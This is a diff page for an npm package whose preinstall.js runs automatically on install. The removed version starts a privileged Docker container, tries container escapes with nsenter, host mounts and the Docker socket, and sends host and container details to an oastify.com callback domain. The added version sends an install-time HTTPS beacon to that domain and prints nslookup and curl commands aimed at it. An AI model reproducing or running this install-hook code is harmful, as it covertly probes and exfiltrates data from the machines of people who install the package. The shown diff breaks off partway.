rank4222wun 1.0.37 → 1.0.38
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/package.json +1 -1
- package/preinstall.js +108 -853
- package/rank4222wun-1.0.38.tgz +0 -0
- package/rank4222wun-1.0.37.tgz +0 -0
package/package.json
CHANGED
package/preinstall.js
CHANGED
|
@@ -1,882 +1,137 @@
|
|
|
1
|
-
// privileged-container-oast.js
|
|
2
|
-
const {
|
|
3
|
-
const fs = require('fs');
|
|
4
|
-
const path = require('path');
|
|
5
|
-
const https = require('https');
|
|
6
|
-
const dns = require('dns');
|
|
1
|
+
// privileged-container-oast-simple.js
|
|
2
|
+
const { spawn, exec } = require('child_process');
|
|
7
3
|
const crypto = require('crypto');
|
|
4
|
+
const https = require('https');
|
|
5
|
+
|
|
6
|
+
const OAST_DOMAIN = 'v84zr5z8jz4cr781u5eyl6cgv71ypudj.oastify.com';
|
|
8
7
|
|
|
9
8
|
console.log(`
|
|
10
|
-
|
|
11
|
-
║
|
|
12
|
-
║
|
|
13
|
-
|
|
9
|
+
╔════════════════════════════════════════════════════╗
|
|
10
|
+
║ PRIVILEGED CONTAINER + OAST ║
|
|
11
|
+
║ ║
|
|
12
|
+
║ OAST Domain : ${OAST_DOMAIN} ║
|
|
13
|
+
╚════════════════════════════════════════════════════╝
|
|
14
14
|
`);
|
|
15
15
|
|
|
16
|
-
|
|
17
|
-
const
|
|
18
|
-
|
|
19
|
-
|
|
20
|
-
|
|
21
|
-
httpPort: 80,
|
|
22
|
-
apiKey: crypto.randomBytes(16).toString('hex'),
|
|
23
|
-
sessionId: `priv-container-${Date.now()}-${crypto.randomBytes(4).toString('hex')}`
|
|
24
|
-
},
|
|
25
|
-
|
|
26
|
-
DOCKER: {
|
|
27
|
-
image: 'ubuntu:latest',
|
|
28
|
-
command: '/bin/bash',
|
|
29
|
-
privileged: true,
|
|
30
|
-
interactive: true,
|
|
31
|
-
remove: false,
|
|
32
|
-
name: `priv-container-${Date.now()}`
|
|
33
|
-
},
|
|
34
|
-
|
|
35
|
-
SCAN: {
|
|
36
|
-
hostEscape: true,
|
|
37
|
-
networkScan: true,
|
|
38
|
-
fileAccess: true,
|
|
39
|
-
capabilityCheck: true
|
|
40
|
-
}
|
|
41
|
-
};
|
|
42
|
-
|
|
43
|
-
// ===================== OAST FUNCTIONS =====================
|
|
44
|
-
class OASTReporter {
|
|
45
|
-
constructor() {
|
|
46
|
-
this.interactions = [];
|
|
47
|
-
this.reports = [];
|
|
48
|
-
}
|
|
49
|
-
|
|
50
|
-
sendDNS(subdomain, data = {}) {
|
|
51
|
-
const dnsName = `${subdomain}.${CONFIG.OAST.sessionId}.${CONFIG.OAST.domain}`;
|
|
52
|
-
|
|
53
|
-
dns.lookup(dnsName, (err) => {
|
|
54
|
-
if (!err) {
|
|
55
|
-
const interaction = {
|
|
56
|
-
type: 'DNS',
|
|
57
|
-
timestamp: new Date().toISOString(),
|
|
58
|
-
subdomain: subdomain,
|
|
59
|
-
dnsName: dnsName,
|
|
60
|
-
data: data
|
|
61
|
-
};
|
|
62
|
-
|
|
63
|
-
this.interactions.push(interaction);
|
|
64
|
-
console.log(`📡 DNS OAST sent: ${dnsName}`);
|
|
65
|
-
}
|
|
66
|
-
});
|
|
67
|
-
}
|
|
68
|
-
|
|
69
|
-
sendHTTP(endpoint, data) {
|
|
70
|
-
const postData = JSON.stringify({
|
|
71
|
-
sessionId: CONFIG.OAST.sessionId,
|
|
72
|
-
timestamp: new Date().toISOString(),
|
|
73
|
-
...data
|
|
74
|
-
});
|
|
75
|
-
|
|
76
|
-
const options = {
|
|
77
|
-
hostname: CONFIG.OAST.domain,
|
|
78
|
-
port: CONFIG.OAST.httpPort,
|
|
79
|
-
path: endpoint,
|
|
80
|
-
method: 'POST',
|
|
81
|
-
headers: {
|
|
82
|
-
'Content-Type': 'application/json',
|
|
83
|
-
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
84
|
-
'User-Agent': 'PrivilegedContainerScanner/1.0'
|
|
85
|
-
}
|
|
86
|
-
};
|
|
87
|
-
|
|
88
|
-
const req = http.request(options, (res) => {
|
|
89
|
-
let body = '';
|
|
90
|
-
res.on('data', chunk => body += chunk);
|
|
91
|
-
res.on('end', () => {
|
|
92
|
-
const interaction = {
|
|
93
|
-
type: 'HTTP',
|
|
94
|
-
timestamp: new Date().toISOString(),
|
|
95
|
-
endpoint: endpoint,
|
|
96
|
-
status: res.statusCode,
|
|
97
|
-
response: body,
|
|
98
|
-
data: data
|
|
99
|
-
};
|
|
100
|
-
|
|
101
|
-
this.interactions.push(interaction);
|
|
102
|
-
console.log(`📡 HTTP OAST sent (${res.statusCode}): ${endpoint}`);
|
|
103
|
-
});
|
|
104
|
-
});
|
|
105
|
-
|
|
106
|
-
req.on('error', () => {});
|
|
107
|
-
req.write(postData);
|
|
108
|
-
req.end();
|
|
109
|
-
}
|
|
110
|
-
|
|
111
|
-
sendHTTPS(endpoint, data) {
|
|
112
|
-
const postData = JSON.stringify({
|
|
113
|
-
sessionId: CONFIG.OAST.sessionId,
|
|
114
|
-
timestamp: new Date().toISOString(),
|
|
115
|
-
...data
|
|
116
|
-
});
|
|
117
|
-
|
|
118
|
-
const options = {
|
|
119
|
-
hostname: CONFIG.OAST.domain,
|
|
120
|
-
port: CONFIG.OAST.httpsPort,
|
|
121
|
-
path: endpoint,
|
|
122
|
-
method: 'POST',
|
|
123
|
-
headers: {
|
|
124
|
-
'Content-Type': 'application/json',
|
|
125
|
-
'X-Session-ID': CONFIG.OAST.sessionId,
|
|
126
|
-
'X-Report-Type': 'privileged_container',
|
|
127
|
-
'User-Agent': 'ContainerEscapeDetector/2.0'
|
|
128
|
-
}
|
|
129
|
-
};
|
|
130
|
-
|
|
131
|
-
const req = https.request(options, (res) => {
|
|
132
|
-
let body = '';
|
|
133
|
-
res.on('data', chunk => body += chunk);
|
|
134
|
-
res.on('end', () => {
|
|
135
|
-
const interaction = {
|
|
136
|
-
type: 'HTTPS',
|
|
137
|
-
timestamp: new Date().toISOString(),
|
|
138
|
-
endpoint: endpoint,
|
|
139
|
-
status: res.statusCode,
|
|
140
|
-
response: body,
|
|
141
|
-
data: data
|
|
142
|
-
};
|
|
143
|
-
|
|
144
|
-
this.interactions.push(interaction);
|
|
145
|
-
this.reports.push(interaction);
|
|
146
|
-
console.log(`📡 HTTPS OAST sent (${res.statusCode}): ${endpoint}`);
|
|
147
|
-
});
|
|
148
|
-
});
|
|
149
|
-
|
|
150
|
-
req.on('error', (e) => {
|
|
151
|
-
console.log(`⚠️ OAST error (may be expected): ${e.message}`);
|
|
152
|
-
});
|
|
16
|
+
function generateSessionId() {
|
|
17
|
+
const timestamp = Date.now();
|
|
18
|
+
const random = crypto.randomBytes(6).toString('hex');
|
|
19
|
+
return `sess-${timestamp}-${random}`;
|
|
20
|
+
}
|
|
153
21
|
|
|
154
|
-
|
|
155
|
-
|
|
156
|
-
}
|
|
22
|
+
const sessionId = generateSessionId();
|
|
23
|
+
const uniqueSub = crypto.randomBytes(4).toString('hex'); // لعمل subdomain فريد
|
|
157
24
|
|
|
158
|
-
|
|
159
|
-
|
|
160
|
-
containerId: containerId.substring(0, 12),
|
|
161
|
-
escapeConfirmed: evidence.escaped || false,
|
|
162
|
-
confidence: evidence.confidence || 0,
|
|
163
|
-
methods: evidence.methods || [],
|
|
164
|
-
proofPoints: evidence.proofPoints || [],
|
|
165
|
-
hostInfo: evidence.hostInfo || {},
|
|
166
|
-
timestamp: new Date().toISOString()
|
|
167
|
-
};
|
|
25
|
+
console.log(`Session ID : ${sessionId}`);
|
|
26
|
+
console.log(`Unique subdomain : ${uniqueSub}.${sessionId}.${OAST_DOMAIN}\n`);
|
|
168
27
|
|
|
169
|
-
|
|
170
|
-
|
|
28
|
+
function sendSimpleHttpsBeacon(path = '/start', extraData = {}) {
|
|
29
|
+
const data = JSON.stringify({
|
|
30
|
+
session: sessionId,
|
|
31
|
+
ts: new Date().toISOString(),
|
|
32
|
+
type: 'beacon',
|
|
33
|
+
...extraData
|
|
34
|
+
});
|
|
171
35
|
|
|
172
|
-
|
|
173
|
-
|
|
174
|
-
|
|
175
|
-
|
|
176
|
-
|
|
177
|
-
|
|
36
|
+
const options = {
|
|
37
|
+
hostname: OAST_DOMAIN,
|
|
38
|
+
port: 443,
|
|
39
|
+
path: path,
|
|
40
|
+
method: 'POST',
|
|
41
|
+
headers: {
|
|
42
|
+
'Content-Type': 'application/json',
|
|
43
|
+
'Content-Length': Buffer.byteLength(data),
|
|
44
|
+
'User-Agent': 'PrivContainerTest/1.0',
|
|
45
|
+
'X-Session': sessionId
|
|
178
46
|
}
|
|
47
|
+
};
|
|
179
48
|
|
|
180
|
-
|
|
181
|
-
|
|
49
|
+
const req = https.request(options, (res) => {
|
|
50
|
+
res.on('data', () => {}); // نكتفي بالرد
|
|
51
|
+
});
|
|
182
52
|
|
|
183
|
-
|
|
184
|
-
|
|
53
|
+
req.on('error', (e) => {
|
|
54
|
+
console.log(`[beacon error] ${e.message}`);
|
|
55
|
+
});
|
|
185
56
|
|
|
186
|
-
|
|
187
|
-
|
|
188
|
-
const allReports = {
|
|
189
|
-
sessionId: CONFIG.OAST.sessionId,
|
|
190
|
-
domain: CONFIG.OAST.domain,
|
|
191
|
-
timestamp: new Date().toISOString(),
|
|
192
|
-
reports: this.reports,
|
|
193
|
-
containerReport: report
|
|
194
|
-
};
|
|
57
|
+
req.write(data);
|
|
58
|
+
req.end();
|
|
195
59
|
|
|
196
|
-
|
|
197
|
-
console.log(`💾 Report saved locally: ${filename}`);
|
|
198
|
-
}
|
|
60
|
+
console.log(`→ HTTPS beacon sent to https://${OAST_DOMAIN}${path}`);
|
|
199
61
|
}
|
|
200
62
|
|
|
201
|
-
//
|
|
202
|
-
|
|
203
|
-
constructor() {
|
|
204
|
-
this.containerId = null;
|
|
205
|
-
this.oastReporter = new OASTReporter();
|
|
206
|
-
this.evidence = {
|
|
207
|
-
escaped: false,
|
|
208
|
-
confidence: 0,
|
|
209
|
-
methods: [],
|
|
210
|
-
proofPoints: [],
|
|
211
|
-
hostInfo: {},
|
|
212
|
-
containerInfo: {}
|
|
213
|
-
};
|
|
214
|
-
}
|
|
215
|
-
|
|
216
|
-
async run() {
|
|
217
|
-
try {
|
|
218
|
-
console.log('🚀 Starting privileged container analysis...\n');
|
|
219
|
-
|
|
220
|
-
// إرسال بداية الجلسة إلى OAST
|
|
221
|
-
this.oastReporter.sendHTTPS('/session-start', {
|
|
222
|
-
action: 'privileged_container_start',
|
|
223
|
-
config: CONFIG
|
|
224
|
-
});
|
|
225
|
-
|
|
226
|
-
// 1. تشغيل الحاوية المميزة
|
|
227
|
-
await this.runPrivilegedContainer();
|
|
228
|
-
|
|
229
|
-
// 2. جمع المعلومات الأساسية
|
|
230
|
-
await this.collectBasicInfo();
|
|
231
|
-
|
|
232
|
-
// 3. محاولة الهروب والتأكيد
|
|
233
|
-
await this.attemptEscape();
|
|
234
|
-
|
|
235
|
-
// 4. فحص إضافي للحاوية
|
|
236
|
-
await this.performDeepScan();
|
|
237
|
-
|
|
238
|
-
// 5. تحليل النتائج
|
|
239
|
-
await this.analyzeResults();
|
|
240
|
-
|
|
241
|
-
// 6. إرسال التقرير النهائي
|
|
242
|
-
await this.sendFinalReport();
|
|
243
|
-
|
|
244
|
-
// 7. عرض النتائج
|
|
245
|
-
this.displayResults();
|
|
246
|
-
|
|
247
|
-
// 8. تنظيف (اختياري)
|
|
248
|
-
await this.cleanup();
|
|
249
|
-
|
|
250
|
-
} catch (error) {
|
|
251
|
-
console.error(`❌ Error: ${error.message}`);
|
|
252
|
-
this.oastReporter.sendHTTPS('/error', { error: error.message });
|
|
253
|
-
}
|
|
254
|
-
}
|
|
255
|
-
|
|
256
|
-
async runPrivilegedContainer() {
|
|
257
|
-
console.log('📦 Running privileged container...');
|
|
258
|
-
|
|
259
|
-
const dockerArgs = [
|
|
260
|
-
'run',
|
|
261
|
-
'--privileged',
|
|
262
|
-
'-d',
|
|
263
|
-
'--name', CONFIG.DOCKER.name,
|
|
264
|
-
CONFIG.DOCKER.image,
|
|
265
|
-
'sleep', '3600'
|
|
266
|
-
];
|
|
267
|
-
|
|
268
|
-
return new Promise((resolve, reject) => {
|
|
269
|
-
exec(`docker ${dockerArgs.join(' ')}`, (error, stdout, stderr) => {
|
|
270
|
-
if (error) {
|
|
271
|
-
reject(error);
|
|
272
|
-
return;
|
|
273
|
-
}
|
|
274
|
-
|
|
275
|
-
this.containerId = stdout.trim();
|
|
276
|
-
console.log(`✅ Container started: ${this.containerId.substring(0, 12)}`);
|
|
277
|
-
|
|
278
|
-
// إرسال إلى OAST
|
|
279
|
-
this.oastReporter.sendHTTPS('/container-started', {
|
|
280
|
-
containerId: this.containerId.substring(0, 12),
|
|
281
|
-
name: CONFIG.DOCKER.name,
|
|
282
|
-
image: CONFIG.DOCKER.image,
|
|
283
|
-
privileged: true
|
|
284
|
-
});
|
|
285
|
-
|
|
286
|
-
// الانتظار للحاوية لتبدأ
|
|
287
|
-
setTimeout(resolve, 2000);
|
|
288
|
-
});
|
|
289
|
-
});
|
|
290
|
-
}
|
|
291
|
-
|
|
292
|
-
async collectBasicInfo() {
|
|
293
|
-
console.log('\n🔍 Collecting basic container information...');
|
|
294
|
-
|
|
295
|
-
const commands = [
|
|
296
|
-
// معلومات النظام
|
|
297
|
-
'cat /etc/os-release',
|
|
298
|
-
'uname -a',
|
|
299
|
-
'whoami',
|
|
300
|
-
'id',
|
|
301
|
-
|
|
302
|
-
// الصلاحيات
|
|
303
|
-
'capsh --print 2>/dev/null || echo "No capsh"',
|
|
304
|
-
'cat /proc/self/status | grep -i cap',
|
|
305
|
-
|
|
306
|
-
// نظام الملفات
|
|
307
|
-
'ls -la /',
|
|
308
|
-
'mount | head -20',
|
|
309
|
-
'df -h',
|
|
310
|
-
|
|
311
|
-
// الذاكرة والمعالج
|
|
312
|
-
'free -h',
|
|
313
|
-
'cat /proc/cpuinfo | grep "model name" | head -1',
|
|
314
|
-
|
|
315
|
-
// الشبكة
|
|
316
|
-
'ip addr show',
|
|
317
|
-
'hostname -I',
|
|
318
|
-
'cat /etc/hosts',
|
|
319
|
-
|
|
320
|
-
// معلومات Docker
|
|
321
|
-
'cat /proc/1/cgroup 2>/dev/null || echo "No cgroup access"',
|
|
322
|
-
'ls -la /var/run/docker.sock 2>/dev/null || echo "No docker socket"'
|
|
323
|
-
];
|
|
324
|
-
|
|
325
|
-
const results = {};
|
|
326
|
-
|
|
327
|
-
for (const cmd of commands) {
|
|
328
|
-
try {
|
|
329
|
-
const output = await this.execInContainer(cmd);
|
|
330
|
-
results[cmd] = output.substring(0, 500);
|
|
331
|
-
|
|
332
|
-
// تحليل بعض النتائج الهامة
|
|
333
|
-
if (cmd.includes('os-release')) {
|
|
334
|
-
this.evidence.containerInfo.os = output;
|
|
335
|
-
}
|
|
336
|
-
if (cmd.includes('uname -a')) {
|
|
337
|
-
this.evidence.containerInfo.kernel = output;
|
|
338
|
-
}
|
|
339
|
-
if (cmd.includes('capsh')) {
|
|
340
|
-
this.evidence.containerInfo.capabilities = output;
|
|
341
|
-
}
|
|
342
|
-
|
|
343
|
-
} catch (error) {
|
|
344
|
-
results[cmd] = `ERROR: ${error.message}`;
|
|
345
|
-
}
|
|
346
|
-
}
|
|
347
|
-
|
|
348
|
-
// إرسال المعلومات الأساسية إلى OAST
|
|
349
|
-
this.oastReporter.sendHTTPS('/basic-info', {
|
|
350
|
-
containerId: this.containerId.substring(0, 12),
|
|
351
|
-
basicInfo: results
|
|
352
|
-
});
|
|
353
|
-
|
|
354
|
-
return results;
|
|
355
|
-
}
|
|
63
|
+
// إرسال إشارة بداية من الـ host نفسه
|
|
64
|
+
sendSimpleHttpsBeacon('/start', { action: 'script_started' });
|
|
356
65
|
|
|
357
|
-
|
|
358
|
-
console.log('\n🔓 Attempting container escape...');
|
|
359
|
-
|
|
360
|
-
const escapeTests = [
|
|
361
|
-
{
|
|
362
|
-
name: 'nsenter_escape',
|
|
363
|
-
command: 'which nsenter && nsenter --target 1 --mount -- sh -c "echo HOST_HOSTNAME:$(cat /etc/hostname 2>/dev/null) && echo CONTAINER_HOSTNAME:$(hostname)" 2>/dev/null || echo "FAILED"',
|
|
364
|
-
check: (output) => output.includes('HOST_HOSTNAME') && output.includes('CONTAINER_HOSTNAME')
|
|
365
|
-
},
|
|
366
|
-
{
|
|
367
|
-
name: 'proc_escape',
|
|
368
|
-
command: 'cat /proc/1/status 2>/dev/null | head -5 && cat /proc/1/cmdline 2>/dev/null | tr "\\0" " " | head -c 100',
|
|
369
|
-
check: (output) => output.includes('State:') && output.length > 20
|
|
370
|
-
},
|
|
371
|
-
{
|
|
372
|
-
name: 'host_mounts',
|
|
373
|
-
command: 'ls -la /home 2>/dev/null || ls -la /root 2>/dev/null || cat /etc/passwd 2>/dev/null | head -5 || echo "NO_ACCESS"',
|
|
374
|
-
check: (output) => !output.includes('NO_ACCESS') && output.length > 10
|
|
375
|
-
},
|
|
376
|
-
{
|
|
377
|
-
name: 'docker_socket',
|
|
378
|
-
command: 'ls -la /var/run/docker.sock 2>/dev/null && echo "EXISTS" || echo "NOT_EXISTS"',
|
|
379
|
-
check: (output) => output.includes('EXISTS')
|
|
380
|
-
},
|
|
381
|
-
{
|
|
382
|
-
name: 'network_escape',
|
|
383
|
-
command: 'ip route show 2>/dev/null | head -5 && ip neigh show 2>/dev/null | head -5',
|
|
384
|
-
check: (output) => output.includes('default via') || output.includes('lladdr')
|
|
385
|
-
}
|
|
386
|
-
];
|
|
387
|
-
|
|
388
|
-
for (const test of escapeTests) {
|
|
389
|
-
try {
|
|
390
|
-
const output = await this.execInContainer(test.command);
|
|
391
|
-
|
|
392
|
-
if (test.check(output)) {
|
|
393
|
-
this.evidence.methods.push(test.name);
|
|
394
|
-
console.log(`✅ ${test.name}: Possible`);
|
|
395
|
-
|
|
396
|
-
// إرسال إلى OAST
|
|
397
|
-
this.oastReporter.sendHTTPS('/escape-attempt', {
|
|
398
|
-
method: test.name,
|
|
399
|
-
success: true,
|
|
400
|
-
output: output.substring(0, 300)
|
|
401
|
-
});
|
|
402
|
-
|
|
403
|
-
// التحقق من اختلاف hostname لـ nsenter
|
|
404
|
-
if (test.name === 'nsenter_escape') {
|
|
405
|
-
const lines = output.split('\n');
|
|
406
|
-
let hostHostname = '';
|
|
407
|
-
let containerHostname = '';
|
|
408
|
-
|
|
409
|
-
lines.forEach(line => {
|
|
410
|
-
if (line.startsWith('HOST_HOSTNAME:')) {
|
|
411
|
-
hostHostname = line.replace('HOST_HOSTNAME:', '').trim();
|
|
412
|
-
}
|
|
413
|
-
if (line.startsWith('CONTAINER_HOSTNAME:')) {
|
|
414
|
-
containerHostname = line.replace('CONTAINER_HOSTNAME:', '').trim();
|
|
415
|
-
}
|
|
416
|
-
});
|
|
417
|
-
|
|
418
|
-
if (hostHostname && containerHostname && hostHostname !== containerHostname) {
|
|
419
|
-
this.evidence.proofPoints.push(`Host hostname (${hostHostname}) differs from container (${containerHostname})`);
|
|
420
|
-
this.evidence.hostInfo.hostname = hostHostname;
|
|
421
|
-
this.evidence.escaped = true;
|
|
422
|
-
}
|
|
423
|
-
}
|
|
424
|
-
}
|
|
425
|
-
} catch (error) {
|
|
426
|
-
console.log(`❌ ${test.name}: Failed - ${error.message}`);
|
|
427
|
-
}
|
|
428
|
-
}
|
|
429
|
-
}
|
|
430
|
-
|
|
431
|
-
async performDeepScan() {
|
|
432
|
-
if (!CONFIG.SCAN.hostEscape) return;
|
|
433
|
-
|
|
434
|
-
console.log('\n🔬 Performing deep scan...');
|
|
435
|
-
|
|
436
|
-
const deepChecks = [
|
|
437
|
-
// محاولة إنشاء حاوية من داخل الحاوية
|
|
438
|
-
{
|
|
439
|
-
name: 'nested_container',
|
|
440
|
-
command: 'which docker && docker ps 2>/dev/null || which podman && podman ps 2>/dev/null || echo "NO_CONTAINER_RUNTIME"',
|
|
441
|
-
check: (output) => !output.includes('NO_CONTAINER_RUNTIME')
|
|
442
|
-
},
|
|
443
|
-
|
|
444
|
-
// فحص kernel vulnerabilities
|
|
445
|
-
{
|
|
446
|
-
name: 'kernel_check',
|
|
447
|
-
command: 'uname -r && grep -i "dirty\\|cow\\|shock\\|overlay" /etc/os-release 2>/dev/null || echo "NO_VULN_INFO"',
|
|
448
|
-
check: (output) => output.length > 5
|
|
449
|
-
},
|
|
450
|
-
|
|
451
|
-
// محاولة كتابة ملف في نظام المضيف
|
|
452
|
-
{
|
|
453
|
-
name: 'host_write_test',
|
|
454
|
-
command: 'echo "TEST_WRITE_FROM_CONTAINER" > /tmp/container_test.txt 2>/dev/null && echo "WRITE_SUCCESS" || echo "WRITE_FAILED"',
|
|
455
|
-
check: (output) => output.includes('WRITE_SUCCESS')
|
|
456
|
-
},
|
|
457
|
-
|
|
458
|
-
// فحص mount points خطيرة
|
|
459
|
-
{
|
|
460
|
-
name: 'dangerous_mounts',
|
|
461
|
-
command: 'mount 2>/dev/null | grep -E "(proc|sys|dev|/var/run)" | head -10',
|
|
462
|
-
check: (output) => output.length > 10
|
|
463
|
-
}
|
|
464
|
-
];
|
|
465
|
-
|
|
466
|
-
for (const check of deepChecks) {
|
|
467
|
-
try {
|
|
468
|
-
const output = await this.execInContainer(check.command);
|
|
469
|
-
|
|
470
|
-
if (check.check(output)) {
|
|
471
|
-
console.log(`⚠️ ${check.name}: Found potential issue`);
|
|
472
|
-
|
|
473
|
-
// إرسال إلى OAST
|
|
474
|
-
this.oastReporter.sendDNS(check.name, {
|
|
475
|
-
result: output.substring(0, 100)
|
|
476
|
-
});
|
|
477
|
-
}
|
|
478
|
-
} catch (error) {
|
|
479
|
-
// تجاهل الأخطاء
|
|
480
|
-
}
|
|
481
|
-
}
|
|
482
|
-
}
|
|
66
|
+
// ────────────────────────────────────────────────
|
|
483
67
|
|
|
484
|
-
|
|
485
|
-
|
|
486
|
-
|
|
487
|
-
// حساب مستوى الثقة
|
|
488
|
-
let confidence = 0;
|
|
489
|
-
|
|
490
|
-
// نقاط لكل طريقة هروب محتملة
|
|
491
|
-
const methodPoints = {
|
|
492
|
-
nsenter_escape: 30,
|
|
493
|
-
proc_escape: 25,
|
|
494
|
-
host_mounts: 20,
|
|
495
|
-
docker_socket: 25,
|
|
496
|
-
network_escape: 15
|
|
497
|
-
};
|
|
498
|
-
|
|
499
|
-
this.evidence.methods.forEach(method => {
|
|
500
|
-
confidence += methodPoints[method] || 10;
|
|
501
|
-
});
|
|
502
|
-
|
|
503
|
-
// نقاط إضافية لأدلة قاطعة
|
|
504
|
-
if (this.evidence.proofPoints.length > 0) {
|
|
505
|
-
confidence += this.evidence.proofPoints.length * 10;
|
|
506
|
-
}
|
|
507
|
-
|
|
508
|
-
// إذا كان hostname مختلف
|
|
509
|
-
if (this.evidence.hostInfo.hostname) {
|
|
510
|
-
confidence += 20;
|
|
511
|
-
}
|
|
512
|
-
|
|
513
|
-
// تحديد إذا تم الهروب فعلاً
|
|
514
|
-
this.evidence.confidence = Math.min(100, confidence);
|
|
515
|
-
|
|
516
|
-
if (this.evidence.confidence >= 60) {
|
|
517
|
-
this.evidence.escaped = true;
|
|
518
|
-
console.log(`🚨 CONFIRMED: Container escape possible (${this.evidence.confidence}% confidence)`);
|
|
519
|
-
} else if (this.evidence.confidence >= 30) {
|
|
520
|
-
console.log(`⚠️ POSSIBLE: Container escape may be possible (${this.evidence.confidence}% confidence)`);
|
|
521
|
-
} else {
|
|
522
|
-
console.log(`✅ SECURE: Container appears isolated (${this.evidence.confidence}% confidence)`);
|
|
523
|
-
}
|
|
524
|
-
}
|
|
68
|
+
console.log(`
|
|
69
|
+
تشغيل الحاوية المميزة الآن...
|
|
70
|
+
(إضغط Ctrl+C للإنهاء - سيظهر تنظيف بسيط)
|
|
525
71
|
|
|
526
|
-
|
|
527
|
-
console.log('\n📡 Sending final report to OAST...');
|
|
528
|
-
|
|
529
|
-
const report = {
|
|
530
|
-
sessionId: CONFIG.OAST.sessionId,
|
|
531
|
-
containerId: this.containerId ? this.containerId.substring(0, 12) : 'unknown',
|
|
532
|
-
timestamp: new Date().toISOString(),
|
|
533
|
-
evidence: this.evidence,
|
|
534
|
-
summary: {
|
|
535
|
-
escaped: this.evidence.escaped,
|
|
536
|
-
confidence: this.evidence.confidence,
|
|
537
|
-
methods: this.evidence.methods,
|
|
538
|
-
proofPoints: this.evidence.proofPoints
|
|
539
|
-
}
|
|
540
|
-
};
|
|
541
|
-
|
|
542
|
-
// إرسال التقرير النهائي
|
|
543
|
-
this.oastReporter.reportContainerEscape(this.containerId, this.evidence);
|
|
544
|
-
|
|
545
|
-
// إرسال DNS notification للنتيجة
|
|
546
|
-
const resultType = this.evidence.escaped ? 'escape-confirmed' : 'no-escape';
|
|
547
|
-
this.oastReporter.sendDNS(resultType, {
|
|
548
|
-
confidence: this.evidence.confidence,
|
|
549
|
-
methods: this.evidence.methods.length
|
|
550
|
-
});
|
|
551
|
-
|
|
552
|
-
return report;
|
|
553
|
-
}
|
|
72
|
+
أوامر مفيدة نفذها داخل الحاوية لاختبار الـ OAST:
|
|
554
73
|
|
|
555
|
-
|
|
556
|
-
|
|
557
|
-
console.log('📊 PRIVILEGED CONTAINER ANALYSIS RESULTS');
|
|
558
|
-
console.log('='.repeat(80));
|
|
559
|
-
|
|
560
|
-
console.log(`\n📦 Container ID: ${this.containerId ? this.containerId.substring(0, 12) : 'unknown'}`);
|
|
561
|
-
console.log(`📍 OAST Domain: ${CONFIG.OAST.domain}`);
|
|
562
|
-
console.log(`🔑 Session ID: ${CONFIG.OAST.sessionId}`);
|
|
563
|
-
|
|
564
|
-
console.log(`\n🎯 Escape Status: ${this.evidence.escaped ? '🚨 CONFIRMED' : '✅ NOT CONFIRMED'}`);
|
|
565
|
-
console.log(`📈 Confidence Level: ${this.evidence.confidence}%`);
|
|
566
|
-
|
|
567
|
-
if (this.evidence.methods.length > 0) {
|
|
568
|
-
console.log(`\n🔓 Possible Escape Methods:`);
|
|
569
|
-
this.evidence.methods.forEach((method, i) => {
|
|
570
|
-
console.log(` ${i + 1}. ${method}`);
|
|
571
|
-
});
|
|
572
|
-
}
|
|
573
|
-
|
|
574
|
-
if (this.evidence.proofPoints.length > 0) {
|
|
575
|
-
console.log(`\n🎯 Evidence Found:`);
|
|
576
|
-
this.evidence.proofPoints.forEach((proof, i) => {
|
|
577
|
-
console.log(` ${i + 1}. ${proof}`);
|
|
578
|
-
});
|
|
579
|
-
}
|
|
580
|
-
|
|
581
|
-
if (this.evidence.hostInfo.hostname) {
|
|
582
|
-
console.log(`\n🖥️ Host Information:`);
|
|
583
|
-
console.log(` Hostname: ${this.evidence.hostInfo.hostname}`);
|
|
584
|
-
}
|
|
585
|
-
|
|
586
|
-
console.log(`\n📡 OAST Interactions: ${this.oastReporter.interactions.length} interactions sent`);
|
|
587
|
-
console.log(` DNS: ${this.oastReporter.interactions.filter(i => i.type === 'DNS').length}`);
|
|
588
|
-
console.log(` HTTPS: ${this.oastReporter.interactions.filter(i => i.type === 'HTTPS').length}`);
|
|
589
|
-
|
|
590
|
-
console.log('\n🔍 Check your OAST dashboard for detailed evidence:');
|
|
591
|
-
console.log(` Session ID: ${CONFIG.OAST.sessionId}`);
|
|
592
|
-
console.log(` Look for interactions at: ${CONFIG.OAST.domain}`);
|
|
593
|
-
|
|
594
|
-
console.log('\n' + '='.repeat(80));
|
|
595
|
-
console.log('🎯 ANALYSIS COMPLETE');
|
|
596
|
-
console.log('='.repeat(80));
|
|
597
|
-
}
|
|
74
|
+
1. اختبار DNS (أكثر موثوقية):
|
|
75
|
+
nslookup ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
|
|
598
76
|
|
|
599
|
-
|
|
600
|
-
|
|
601
|
-
console.log('\n🧹 Cleaning up container...');
|
|
602
|
-
|
|
603
|
-
try {
|
|
604
|
-
await this.execOnHost(`docker stop ${this.containerId}`);
|
|
605
|
-
await this.execOnHost(`docker rm ${this.containerId}`);
|
|
606
|
-
console.log('✅ Container cleaned up');
|
|
607
|
-
|
|
608
|
-
// إرسال إشعار التنظيف إلى OAST
|
|
609
|
-
this.oastReporter.sendHTTPS('/cleanup', {
|
|
610
|
-
containerId: this.containerId.substring(0, 12),
|
|
611
|
-
action: 'container_removed'
|
|
612
|
-
});
|
|
613
|
-
} catch (error) {
|
|
614
|
-
console.log(`⚠️ Could not clean up container: ${error.message}`);
|
|
615
|
-
}
|
|
616
|
-
}
|
|
617
|
-
}
|
|
77
|
+
أو (إذا ما فيش nslookup):
|
|
78
|
+
ping -c 1 -W 1 ${uniqueSub}.${sessionId}.${OAST_DOMAIN} || true
|
|
618
79
|
|
|
619
|
-
|
|
620
|
-
|
|
621
|
-
if (!this.containerId) {
|
|
622
|
-
reject(new Error('No container running'));
|
|
623
|
-
return;
|
|
624
|
-
}
|
|
625
|
-
|
|
626
|
-
exec(`docker exec ${this.containerId} sh -c "${command.replace(/"/g, '\\"')}"`,
|
|
627
|
-
{ timeout: 10000 },
|
|
628
|
-
(error, stdout, stderr) => {
|
|
629
|
-
if (error) {
|
|
630
|
-
reject(error);
|
|
631
|
-
} else {
|
|
632
|
-
resolve(stdout || stderr || '');
|
|
633
|
-
}
|
|
634
|
-
}
|
|
635
|
-
);
|
|
636
|
-
});
|
|
637
|
-
}
|
|
80
|
+
2. اختبار HTTP/HTTPS بسيط:
|
|
81
|
+
curl -s "https://${OAST_DOMAIN}/ping?session=${sessionId}&from=container" || true
|
|
638
82
|
|
|
639
|
-
|
|
640
|
-
|
|
641
|
-
